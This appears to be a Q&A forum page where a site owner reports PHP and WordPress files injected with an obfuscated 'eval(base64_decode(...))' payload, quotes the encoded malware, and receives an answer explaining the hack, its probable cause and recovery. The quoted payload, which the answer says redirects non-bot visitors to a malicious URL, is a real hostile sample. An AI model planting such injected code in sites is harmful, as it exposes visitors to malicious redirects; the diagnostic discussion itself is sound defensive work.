Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8586043
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 11, 20262026-06-11T22:12:52+00:00 2026-06-11T22:12:52+00:00

Recently I noticed a jquery mobile – php website created was not loading. When

  • 0

Recently I noticed a jquery mobile – php website created was not loading. When I checked the related php files, I could see that some extra characters have gone into the code. The extraneous characters were showing up soon after the tag <?php . What is the reason for it? Is my website hacked? How will I recover all my files? The files are being accessed via control panel login.I could even see that the files outside the website folder, some wp files (wp-config.php,wp-blog-header.php etc) were also containing those extra characters.

This is the malicious code found – <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVI

Someone out there, please advise.

Here is the full code

eval(base64_decode(“DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw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wiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGtqbGFwb2suMWR1bWIuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0=”));

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-11T22:12:53+00:00Added an answer on June 11, 2026 at 10:12 pm

    To answer the direct question: yes, your site has been hacked.

    The eval(base64_decode(....)) is intended to disguise the nature of the code being executed, but it can’t disguise the fact that there is code in your PHP files that does not belong there.

    As for what the hacked code does, I’m unable to answer that, as you haven’t provided all of it.

    I also can’t answer any question as to how they might have got in, but the likelyhood is that somewhere in your system (or in your web hosting company’s system) there is a software package which has a known security flaw.

    In most cases, this flaw will have been fixed by the providers of that software, but the version on the hacked site won’t have been updated with the latest fixes, thus giving the hackers an opportunity to get in.

    There are other methods to break into a site, but this is by far the most likely.

    I can’t tell you which software was used to hack your site; there are too many variables involved, and I don’t know enough about it. I can advise you to make sure that all the software you are responsible for is secure and running the latest versions, and to check with your hosting company to make sure they’re fully up-to-date as well.

    You haven’t mentioned WordPress by name, but the files you’ve specified sound like they belong to WordPress. Therefore, recovering the files should be simply a case of updating them back to the original WordPress versions. However, as I say, you should make sure you update to the latest WP version, because it sounds like the version you’ve got is out of date and vulnerable.

    The actual data in your pages may have been compromised, but the nature of the hack described, it sounds more like a PHP injection hack, so I would expect that if you get the WP files back to their original state, your pages will be restored. You should check thoroughly, however, to make sure there isn’t anything unexpected still lurking in there.

    [EDIT]
    Now we have the full code, it’s easy to see what it’s doing: copy the code into a small PHP program, and replace eval with print, so you can see is being run, rather than actually running it. The answer is that it checks that the user isn’t a googlebot or similar, and if not, it redirects the page to a malicious URL.

    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

At my company we recently noticed that one developer was not using language files
I recently noticed that some (not all) of my javascript and jQuery scripts wouldn't
I recently noticed that on my system it is not possible to require 'lib/file.pl'
I have recently noticed that a lot of JavaScript files on the Web start
I have noticed recently, when I apply a template to a new HTML website,
I've noticed recently in PHP you can do this. $myNewArray = $oldArray + $someArray;
I'm already using jQuery to customize my select boxes, but recently i've noticed in
I recently noticed that my installer (VS 2008) does not remove the DLLs during
I recently upgraded my Richfaces library to 4.2.2.Final and I noticed that the jquery
I recently noticed my test database is not being cleaned up after my tests

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.